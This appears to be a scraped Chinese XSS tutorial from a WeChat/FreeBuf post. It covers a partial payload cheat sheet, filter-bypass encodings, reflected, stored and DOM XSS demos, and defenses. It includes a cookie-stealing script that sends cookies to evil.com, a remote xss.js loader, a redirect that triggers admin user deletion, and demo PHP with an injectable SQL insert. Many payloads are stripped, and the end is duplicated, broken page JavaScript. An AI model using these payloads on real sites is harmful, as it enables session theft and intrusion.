(46)DIV background-image
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279) (48)DIV expression (49)STYLE 属性分拆表达 ![]() (50)匿名 STYLE(组成:开角号和一个字母开头)
(51)STYLE background-image
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
(54)BASE
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
implementation="http://3w.org/XSS/xss.htc">XSS
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
(59)IMG 嵌入式命令,可执行任意命令
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
(62)
(63)
(64)
(65)
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6SRC="http://3w.org/xss.js">
(67)PT SRC="http://3w.org/xss.js">
(68)URL 绕行
XSS
(69)URL 编码
XSS
(70)IP 十进制
(71)IP 十六进制
(72)IP 八进制
(73)混合编码
XSS
(74)节省[http:]
XSS
(75)节省[www]
XSS
(76)绝对点绝对 DNS
XSS
(77)javascript 链接
XSS
各个标签的的攻击语句； #弹出hack
#弹出hack
#弹出1，对于数字可以不用引号
#弹出cookie
#引用外部的xss
svg标签：
标签： 
#弹出cookie
标签：
video 标签：
style标签：
0x05、XSS漏洞的挖掘5.1、黑盒测试尽可能找到一切用户可控并且能够输出在页面代码中的地方，比如下面这些： 5.2、常见业务场景重灾区：评论区，留言区，个人信息，订单信息等 针对型：站内信，网页及时通讯，私信，意见反馈 存在风险：搜索框，当前目录，图片属性等；
5.3、白盒审计关于XSS的代码审计主要就是从接收参数的地方和一些关键此入手； PHP中常见的接收参数的方法有$_GET，$_POST，$_REQUEST等等，可以搜索所有接收参数的方法，然后对接收到的数据进行跟踪，看看有没有输出到页面中，然后看看输出到页面中的数据是否进行了过滤和html编码等处理 也可以搜索类似echo这样的输出语句，跟踪输出的变量是从哪里来的，我们是否能控制，如果从数据库中取得，是否能控制存到数据库得数据，存到数据库之前有没有得到过滤等等； 大多数程序会对接收参数封装在公共文件得函数中统一调用，我们就需要审计这些公共函数看有没有过滤，能否绕过等等； 同理审计DOM型注入可以搜索一些js操作DOM元素得关键字进行审计； 0x06、XSS的攻击过程6.1、反射型XSS漏洞：1、Alice经常浏览某个网站，此网站为Bob所拥有，Bob的站点需要Alice使用用户名、密码进行登陆，并存储了Ailce敏感信息(比如银行账户)； 2、Tom发现Bob的站点存在反射的XSS漏洞； 3、Tom利用Bob网站的反射型XSS漏洞编写了一个exp，做成链接的形式，并利用各种手段诱导Alice点击 4、Alice在登陆Bob的站点后，浏览了Tom提供的恶意链接； 5、嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行，此脚本盗取敏感信息(cookie,账号等信息)，然后在Alice完全不知情的情况下将这些信息发送给了Tom； 6、Tom利用获取到的Cookie就可以以Alice的身份信息登陆Bob的站点，如果脚本的功能更强大的化，Tom还可以对Alice的浏览器做控制并进一步利用漏洞控制； 6.2、存储型XSS漏洞：1、Bob拥有一个Web站点，该站点允许用户发布信息，浏览已发布的信息； 2、Tom检测到Bob的站点存在存储型的XSS漏洞； 3、Tom在Bob的网站发布了一个带有恶意脚本的热点信息，该热点信息存储在了Bob的服务器的数据库中，然后吸引其他用户来阅读该热点信息； 4、Bob或者时任何的其他人，如Alice浏览了该信息之后，Tom的恶意脚本就会执行； 5、Tom的恶意脚本执行后，Tom就可以对浏览器该页面的用户发起一次XSS攻击； 0x07、XSS攻击测试7.1、远程加载攻击payloadXSS漏洞能够通过构造恶意的XSS语句实现很多功能，其中做常用的时，构建XSS恶意代码获取对方浏览器的COOKIE； 1）我们首先把恶意代码保存在本地kali里面，实战情况下，我们将代码保存在我们的服务器上； var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
2）我们在kali，用python开启http服务； python -m http.server 80 
3）我们在有XSS漏洞的地方，远程加载我们的恶意代码：
看到浏览器加载了，我们的xss恶意代码； 4）成功获取到了cookie信息 
5）图片创建链接 ![]() onerror=document.body.appendChild(document.createElement('script')).src='//192.168.0.110/xss.
js'>
6）字符拼接 这种一般是输入的字符有限制的时候使用
有的情况要用/**/注释不需要的代码。
7）jQuery加载
7.2、反射型XSS：//前端 1.html：
反射型XSS
//后端 action.php：
$name=$_POST["name"];
echo $name;
?>
我们接着在输入框输入: 
页面直接弹出了xss的页面，可以看到， 我们插入的语句已经被页面给执行了，这就是最基本的反射型XSS漏洞，这种漏洞流向：前端-->后端-->前端 7.3、存储型XSS：//前端：2.html
存储型XSS
//后端：action2.php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>
//供其他用户访问页面：show2.php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>
这里有一个用户提交页面，数据提交给后端之后，后端存储在数据库中，然后当其他用户访问另一个页面的时候，后端调出该数据，显示给另一个用户，XSS代码就被执行了； 
我们输入3和 
可以看到，我们的XSS语句已经插入到数据库中了； 然后当其他用户访问，show2.php页面的时候，我们插入的XSS代码就执行了； 存储型XSS的数据流向是：前端-->后端-->数据库-->后端-->前端 
7.4、DOM型XSS先放源代码： // 前端3.html
DOM型XSS
// 后端action3.php
$name=$_POST["name"];
?>
这里有一个提交页面，用户可以在此提交数据，数据提交之后，给后台处理； 
我们可以输入,然后看看页面的变化； 页面直接弹出了hack的页面，我们插入的语句已经被页面给执行了； 这就是DOM型XSS的漏洞，这种漏洞的数据流向是：前端-->浏览器 0x08、XSS编码绕过8.1、gpc过滤字符如果gpc开启的时候，特殊字符会被加上斜杠即，'变成'，xss攻击代码不要用带单引号和双引号； 绕过gpc在php高版本gpc默认是没有的，但是开发程序员会使用addcslashes()对特殊字符进行转义；
8.2、过滤alert当页面过滤alert这个函数时，因为这个函数会弹窗，不仅很多程序会对他进行过滤，而且很多waf都会对其进行拦截，所以不存在alert即可；
8.3、过滤标签在程序里如果使用了html实体过滤，在php会使用htmlspecialchars()对输入的字符进行实体化，实体化之后的字符不会在html执行，把预定义的字符""(大于)转化为HTML实体，构造xss恶意代码大多数都必须使用，这两个字符被实体化之后，html里就不能执行了； 预定义的字符是： &(和号)成为& “(双引号)成为" ’(单引号)成为' >(大于)成为>
8.4、ascii编码
8.5、url编码8.6、JS编码编码直通车：https://www.jb51.net/tools/zhuanhuan.htm
8.7、HTML编码十进制：
''
8.8、base64编码0x09、XSS的防御XSS防御的总体思路是：对用户的输入(和URL参数)进行过滤，对输出进行html编码，也就是对用户提交的所有内容进行过滤，对url中的参数进行过滤，过滤掉会导致脚本执行的相关内容，然后对动态输出到页面的内容进行html编码，使脚本无法在浏览器中执行；对输入的内容进行过滤，可以分为黑名单和白名单过滤，黑名单过滤虽然可以拦截大部分的XSS攻击，但是还是存在被绕过的风险，白名单过滤虽然可以基本杜绝XSS攻击，但是真实环境中一般是不能进行如此严格的白名单过滤的；对输出进行html编码，就是通过函数，将用户的输入的数据进行html编码，使其不能作为脚本运行；如下是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码，将其转化为html实体；#使用htmlspecialchars函数对用户输入的name参数进行html编码，将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );
我们还可以服务端设置会话Cookie的HTTP Only属性，这样客户端的JS脚本就不能获取Cookie信息了；本文作者：wangkun05， 转载请注明来自FreeBuf.COM
每日坚持学习与分享，觉得文章对你有帮助可在底部给点个“再看”
预览时标签不可点
![]()
微信扫一扫
关注该公众号
![]()
微信扫一扫 使用小程序
：
，
。
视频
小程序
赞
，轻点两下取消赞
在看
，轻点两下取消在看
分享
收藏
';
videoPlaceHolderSpan.style.cssText = "width: " + obj.w + "px !important;";
insertAfter(videoPlaceHolderSpan, a);
var mid = "2247512401" || "" || "";
var biz = "Mzg5OTY2NjUxMw==" || "";
var sessionid = "" || "svr_49aa8e953a7";
var idx = "2" || "";
var hitInfos = [
];
(function setHitStyle(parentNode, copyIframe, index, vid) {
var ret = (hitInfos || []).find(info => info.video_id === vid);
if (!ret) return;
var ori = ret.ori_status;
var hit_biz_headimg = ret.hit_biz_headimg + '/64';
var hit_nickname = ret.hit_nickname;
var hit_username = ret.hit_username;
var sourceBiz = ret.hit_bizuin;
var selfUserName = "gh_af700ee13397";
if (ori === 2 && selfUserName !== hit_username) {
var videoBar = document.createElement('div');
var videoBarHtml = '';
videoBarHtml += ' 以下视频来源于 ';
videoBarHtml += ' ';
videoBarHtml += ' ';
videoBarHtml += ' ' + hit_nickname + ' ';
videoBarHtml += ' ';
videoBarHtml += ' ';
videoBarHtml += ' ';
videoBarHtml += ' ',
outerContainerRight: ' '
}, {
querySelector: 'mpcps:not([data-templateid="video-play"]),mp-common-cpsad:not([data-templateid="video-play"])',
genId: function genId(opt) {
var node = opt.node;
var planId = node.getAttribute('data-planid');
var goodId = node.getAttribute('data-pid');
return goodId || planId || '';
},
calW: function calW() {
var opt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
var node = opt.node;
var templateId = node.getAttribute('data-templateid');
var adType = node.getAttribute('data-adtype');
var width = 0;
if (templateId === 'list') {
width = '100%';
} else if (templateId === 'card') {
if (adType === AD_CONFIG.CPS_GOODS_TYPE.SHORT_PLAY) {
width = opt.parentWidth ? opt.parentWidth * 0.65 : '100%';
} else {
width = '100%';
}
}
return width;
},
calH: function calH(opt) {
var node = opt.node;
var templateId = node.getAttribute('data-templateid');
var adType = node.getAttribute('data-adtype');
var height = 0;
if (templateId === 'list') {
height = 120;
} else if (templateId === 'card') {
if (adType === AD_CONFIG.CPS_GOODS_TYPE.SHORT_PLAY) {
var width = opt.parentWidth * 0.65;
height = Math.ceil(width * (4 / 3)) + 68;
} else {
height = Math.ceil(opt.parentWidth + 111);
}
}
return height;
},
replaceContentCssText: '',
appendContentCssText: 'diplay:block;',
outerContainerLeft: '',
outerContainerRight: '
'
}
]
};
function preloadingInit() {
var opt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
if (typeof document.querySelectorAll !== 'function') {
return;
}
var g = {
maxWith: document.getElementById('img-content').getBoundingClientRect().width,
idAttr: 'data-preloadingid'
};
for (var i = 0, il = opt.config.length; i < il; i++) {
var a = opt.config[i];
var list = document.querySelectorAll(a.querySelector);
for (var j = 0, jl = list.length; j < jl; j++) {
var node = list[j];
var parentWidth = node.parentNode.getBoundingClientRect().width;
parentWidth = Math.min(parentWidth, g.maxWith);
if (node.getAttribute('has-insert-preloading')) {
continue;
}
var nodeW = a.calW({
parentWidth: parentWidth,
node: node
});
var nodeH = a.calH({
parentWidth: parentWidth,
node: node
});
var nodeId = a.genId({
index: j,
node: node
});
var nodeBorderRadius = typeof a.getBorderRadius === 'function' ? a.getBorderRadius({
index: j,
node: node
}) : 8;
if (typeof nodeW === 'number') {
nodeW += 'px';
}
var imgHtml = opt.defaultContentTpl.replace(/#height#/g, nodeH).replace(/#width#/g, nodeW).replace(/#borderRadius#/g, nodeBorderRadius);
var tmpNode = document.createElement('div');
tmpNode.innerHTML = imgHtml;
if (a.replaceContentCssText) {
var replaceContentCssText = a.replaceContentCssText.replace(/#height#/g, nodeH).replace(/#width#/g, nodeW);
tmpNode.firstChild.style.cssText = replaceContentCssText;
} else if (a.appendContentCssText) {
tmpNode.firstChild.style.cssText += a.appendContentCssText;
}
var html = (a.outerContainerLeft || '') + tmpNode.innerHTML + (a.outerContainerRight || '');
tmpNode.innerHTML = html;
tmpNode.firstChild.setAttribute(g.idAttr, nodeId);
node.parentNode.insertBefore(tmpNode.firstChild, node.nextSibling);
node.setAttribute('has-insert-preloading', '1');
}
}
}
function init() {
preloadingInit(g);
}
function decode(str) {
var replace = ["`", "`", "'", "'", """, '"', " ", " ", ">", ">", "<", "<", "¥", "¥", "&", "&"];
for (var i = 0; i < replace.length; i += 2) {
str = str.replace(new RegExp(replace[i], 'g'), replace[i + 1]);
}
return str;
}
function getQuery(url) {
url = url || 'http://qq.com/s?a=b#rd';
var tmp = url.split('?'),
query = (tmp[1] || '').split('#')[0].split('&'),
params = {};
for (var i = 0; i < query.length; i++) {
var eqIndex = query[i].indexOf('=');
if (eqIndex > -1) {
var arg = query[i].substring(0, eqIndex);
params[arg] = query[i].substring(eqIndex + 1);
}
}
if (params['pass_ticket']) {
params['pass_ticket'] = encodeURIComponent(decode(params['pass_ticket']).replace(/\s/g, '+'));
}
return params;
}
function insertAfter(dom, afterDom) {
var _p = afterDom.parentNode;
if (!_p) {
return;
}
if (_p.lastChild === afterDom) {
_p.appendChild(dom);
} else {
_p.insertBefore(dom, afterDom.nextSibling);
}
}
if (typeof getComputedStyle === 'undefined') {
if (document.body.currentStyle) {
window.getComputedStyle = function (el) {
return el.currentStyle;
};
} else {
window.getComputedStyle = {};
}
}
function getMaxWith() {
var container = document.getElementById('img-content');
var max_width = container.offsetWidth;
var container_padding = 0;
var container_style = getComputedStyle(container);
container_padding = parseFloat(container_style.paddingLeft) + parseFloat(container_style.paddingRight);
max_width -= container_padding;
if (!max_width) {
max_width = window.innerWidth - 32;
}
return max_width;
}
function getParentWidth(dom) {
var parent_width = 0;
var parent = dom.parentNode;
var outerWidth = 0;
while (true) {
if (!parent || parent.nodeType !== 1) break;
var parent_style = getComputedStyle(parent);
if (!parent_style) break;
parent_width = parent.clientWidth - parseFloat(parent_style.paddingLeft) - parseFloat(parent_style.paddingRight) - outerWidth;
if (parent_width > 16) break;
outerWidth += parseFloat(parent_style.paddingLeft) + parseFloat(parent_style.paddingRight) + parseFloat(parent_style.marginLeft) + parseFloat(parent_style.marginRight) + parseFloat(parent_style.borderLeftWidth) + parseFloat(parent_style.borderRightWidth);
parent = parent.parentNode;
}
if (parent_width < 0) {
return 0;
}
return parent_width;
}
function getOuterW(dom) {
var style = getComputedStyle(dom),
w = 0;
if (!!style) {
w = parseFloat(style.paddingLeft) + parseFloat(style.paddingRight) + parseFloat(style.borderLeftWidth) + parseFloat(style.borderRightWidth);
}
return w;
}
function getOuterH(dom) {
var style = getComputedStyle(dom),
h = 0;
if (!!style) {
h = parseFloat(style.paddingTop) + parseFloat(style.paddingBottom) + parseFloat(style.borderTopWidth) + parseFloat(style.borderBottomWidth);
}
return h;
}
function getVideoWh(dom) {
var max_width = getMaxWith(),
width = max_width,
ratio_ = dom.getAttribute('data-ratio') * 1 || 4 / 3,
arr = [4 / 3, 16 / 9],
ret = arr[0],
abs = Math.abs(ret - ratio_);
for (var j = 1, jl = arr.length; j < jl; j++) {
var _abs = Math.abs(arr[j] - ratio_);
if (_abs < abs) {
abs = _abs;
ret = arr[j];
}
}
ratio_ = ret;
var parent_width = getParentWidth(dom) || max_width,
rwidth = width > parent_width ? parent_width : width,
outerW = getOuterW(dom) || 0,
outerH = getOuterH(dom) || 0,
videoW = rwidth - outerW,
videoH = videoW / ratio_,
speedDotH = 12,
rheight = videoH + outerH + speedDotH;
return {
w: Math.ceil(rwidth),
h: Math.ceil(rheight),
vh: videoH,
vw: videoW,
ratio: ratio_,
sdh: speedDotH
};
}
function setImgSize(item, widthNum, widthUnit, ratio, breakParentWidth) {
var imgPaddingBorder = getOuterW(item) || 0;
var imgPaddingBorderTopBottom = getOuterH(item) || 0;
if (widthNum > getParentWidth(item) && !breakParentWidth) {
widthNum = getParentWidth(item);
}
var heightNum = (widthNum - imgPaddingBorder) * ratio + imgPaddingBorderTopBottom;
widthNum !== 'auto' && (item.style.cssText += ";width: ".concat(widthNum).concat(widthUnit, " !important;"));
widthNum !== 'auto' && (item.style.cssText += ";height: ".concat(heightNum).concat(widthUnit, " !important;"));
}
var isAccessibilityKey = 'isMpUserAccessibility';
var imgPlaceholderClass = 'js_img_placeholder';
var isAccessMode = window.localStorage.getItem(isAccessibilityKey);
var imgSizeData;
var validArr = ',' + [0.875, 1, 1.125, 1.25, 1.375].join(',') + ',';
var match = window.location.href.match(/winzoom=(\d+(?:\.\d+)?)/);
if (match && match[1]) {
var winzoom = parseFloat(match[1]);
if (validArr.indexOf(',' + winzoom + ',') >= 0) ;
}
function getImgSrcMainInfo(src) {
var pathName = new URL(src).pathname;
var lastIndex = pathName.lastIndexOf('/');
return lastIndex > 0 ? pathName.slice(0, lastIndex) : pathName;
}
function ajax(obj) {
var url = obj.url;
var xhr = new XMLHttpRequest();
var data = null;
if (_typeof(obj.data) === 'object') {
var d = obj.data;
data = [];
for (var k in d) {
if (d.hasOwnProperty(k)) {
data.push(k + '=' + encodeURIComponent(d[k]));
}
}
data = data.join('&');
} else {
data = typeof obj.data === 'string' ? obj.data : null;
}
xhr.open('POST', url, true);
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status >= 200 && xhr.status < 400) {
obj.success && obj.success(xhr.responseText);
} else {
obj.error && obj.error(xhr);
}
obj.complete && obj.complete();
obj.complete = null;
}
};
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.send(data);
}
function setSize(images, videos, data) {
var noWidth = !document.body.clientWidth || !document.getElementById('img-content') || !document.getElementById('img-content').offsetWidth;
var _loop = function _loop() {
if (noWidth) {
return 0;
}
if (window.__second_open__ && videos[vi].getAttribute('__sec_open_place_holder__')) {
return 1;
}
var a = videos[vi];
var src_ = a.getAttribute('src') || a.getAttribute('data-src') || '';
var vid = getQuery(src_).vid || a.getAttribute('data-mpvid');
if (!vid) {
return 1;
}
vid = vid.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
a.removeAttribute('src');
a.style.display = 'none';
var obj = getVideoWh(a);
var videoPlaceHolderSpan = document.createElement('span');
videoPlaceHolderSpan.className = "".concat(imgPlaceholderClass, " wx_widget_placeholder");
videoPlaceHolderSpan.setAttribute('data-vid', vid);
videoPlaceHolderSpan.innerHTML = '';
videoPlaceHolderSpan.style.cssText = "width: " + obj.w + "px !important;";
insertAfter(videoPlaceHolderSpan, a);
a.style.cssText += ';width: ' + obj.w + 'px !important;';
a.setAttribute('width', obj.w);
{
videoPlaceHolderSpan.style.cssText += 'height: ' + (obj.h - obj.sdh) + 'px !important;margin-bottom: ' + obj.sdh + 'px !important;';
a.style.cssText += 'height: ' + obj.h + 'px !important;';
a.setAttribute('height', obj.h);
}
a.setAttribute('data-vh', obj.vh);
a.setAttribute('data-vw', obj.vw);
a.setAttribute('data-src', 'https://v.qq.com/iframe/player.html?vid=' + vid + '&width=' + obj.vw + '&height=' + obj.vh + '&auto=0');
a.setAttribute('__sec_open_place_holder__', true);
a.parentNode;
var index = vi;
var mid = window.dataaaa.mid;
var biz = window.dataaaa.bizuin;
var idx = window.dataaaa.idx;
ajax({
url: "/mp/videoplayer?vid=".concat(vid, "&mid=").concat(mid, "&idx=").concat(idx, "&__biz=").concat(biz, "&f=json"),
type: 'GET',
dataType: 'json',
success: function success() {
var json = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
var ret = JSON.parse(json);
var ori = ret.ori_status;
var hitBizHeadimg = ret.hit_biz_headimg + '/64';
var hitNickname = ret.hit_nickname;
var hitUsername = ret.hit_username;
if (ori === 2 && hitUsername !== data.user_name) {
var videoBar = document.createElement('div');
videoBar.innerHTML = "") + ' 以下视频来源于 ' + ' ' + " ") + " ".concat(hitNickname, " ") + ' ' + ' ' + ' ',
outerContainerRight: ' '
}, {
querySelector: 'mpcps:not([data-templateid="video-play"]),mp-common-cpsad:not([data-templateid="video-play"])',
genId: function genId(opt) {
var node = opt.node;
var planId = node.getAttribute('data-planid');
var goodId = node.getAttribute('data-pid');
return goodId || planId || '';
},
calW: function calW() {
var opt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
var node = opt.node;
var templateId = node.getAttribute('data-templateid');
var adType = node.getAttribute('data-adtype');
var width = 0;
if (templateId === 'list') {
width = '100%';
} else if (templateId === 'card') {
if (adType === AD_CONFIG.CPS_GOODS_TYPE.SHORT_PLAY) {
width = opt.parentWidth ? opt.parentWidth * 0.65 : '100%';
} else {
width = '100%';
}
}
return width;
},
calH: function calH(opt) {
var node = opt.node;
var templateId = node.getAttribute('data-templateid');
var adType = node.getAttribute('data-adtype');
var height = 0;
if (templateId === 'list') {
height = 120;
} else if (templateId === 'card') {
if (adType === AD_CONFIG.CPS_GOODS_TYPE.SHORT_PLAY) {
var width = opt.parentWidth * 0.65;
height = Math.ceil(width * (4 / 3)) + 68;
} else {
height = Math.ceil(opt.parentWidth + 111);
}
}
return height;
},
replaceContentCssText: '',
appendContentCssText: 'diplay:block;',
outerContainerLeft: '',
outerContainerRight: ' '
}
]
};
function preloadingInit() {
var opt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
if (typeof document.querySelectorAll !== 'function') {
return;
}
var g = {
maxWith: document.getElementById('img-content').getBoundingClientRect().width,
idAttr: 'data-preloadingid'
};
for (var i = 0, il = opt.config.length; i < il; i++) {
var a = opt.config[i];
var list = document.querySelectorAll(a.querySelector);
for (var j = 0, jl = list.length; j < jl; j++) {
var node = list[j];
var parentWidth = node.parentNode.getBoundingClientRect().width;
parentWidth = Math.min(parentWidth, g.maxWith);
if (node.getAttribute('has-insert-preloading')) {
continue;
}
var nodeW = a.calW({
parentWidth: parentWidth,
node: node
});
var nodeH = a.calH({
parentWidth: parentWidth,
node: node
});
var nodeId = a.genId({
index: j,
node: node
});
var nodeBorderRadius = typeof a.getBorderRadius === 'function' ? a.getBorderRadius({
index: j,
node: node
}) : 8;
if (typeof nodeW === 'number') {
nodeW += 'px';
}
var imgHtml = opt.defaultContentTpl.replace(/#height#/g, nodeH).replace(/#width#/g, nodeW).replace(/#borderRadius#/g, nodeBorderRadius);
var tmpNode = document.createElement('div');
tmpNode.innerHTML = imgHtml;
if (a.replaceContentCssText) {
var replaceContentCssText = a.replaceContentCssText.replace(/#height#/g, nodeH).replace(/#width#/g, nodeW);
tmpNode.firstChild.style.cssText = replaceContentCssText;
} else if (a.appendContentCssText) {
tmpNode.firstChild.style.cssText += a.appendContentCssText;
}
var html = (a.outerContainerLeft || '') + tmpNode.innerHTML + (a.outerContainerRight || '');
tmpNode.innerHTML = html;
tmpNode.firstChild.setAttribute(g.idAttr, nodeId);
node.parentNode.insertBefore(tmpNode.firstChild, node.nextSibling);
node.setAttribute('has-insert-preloading', '1');
}
}
}
function init() {
preloadingInit(g);
}
init();
})();
|
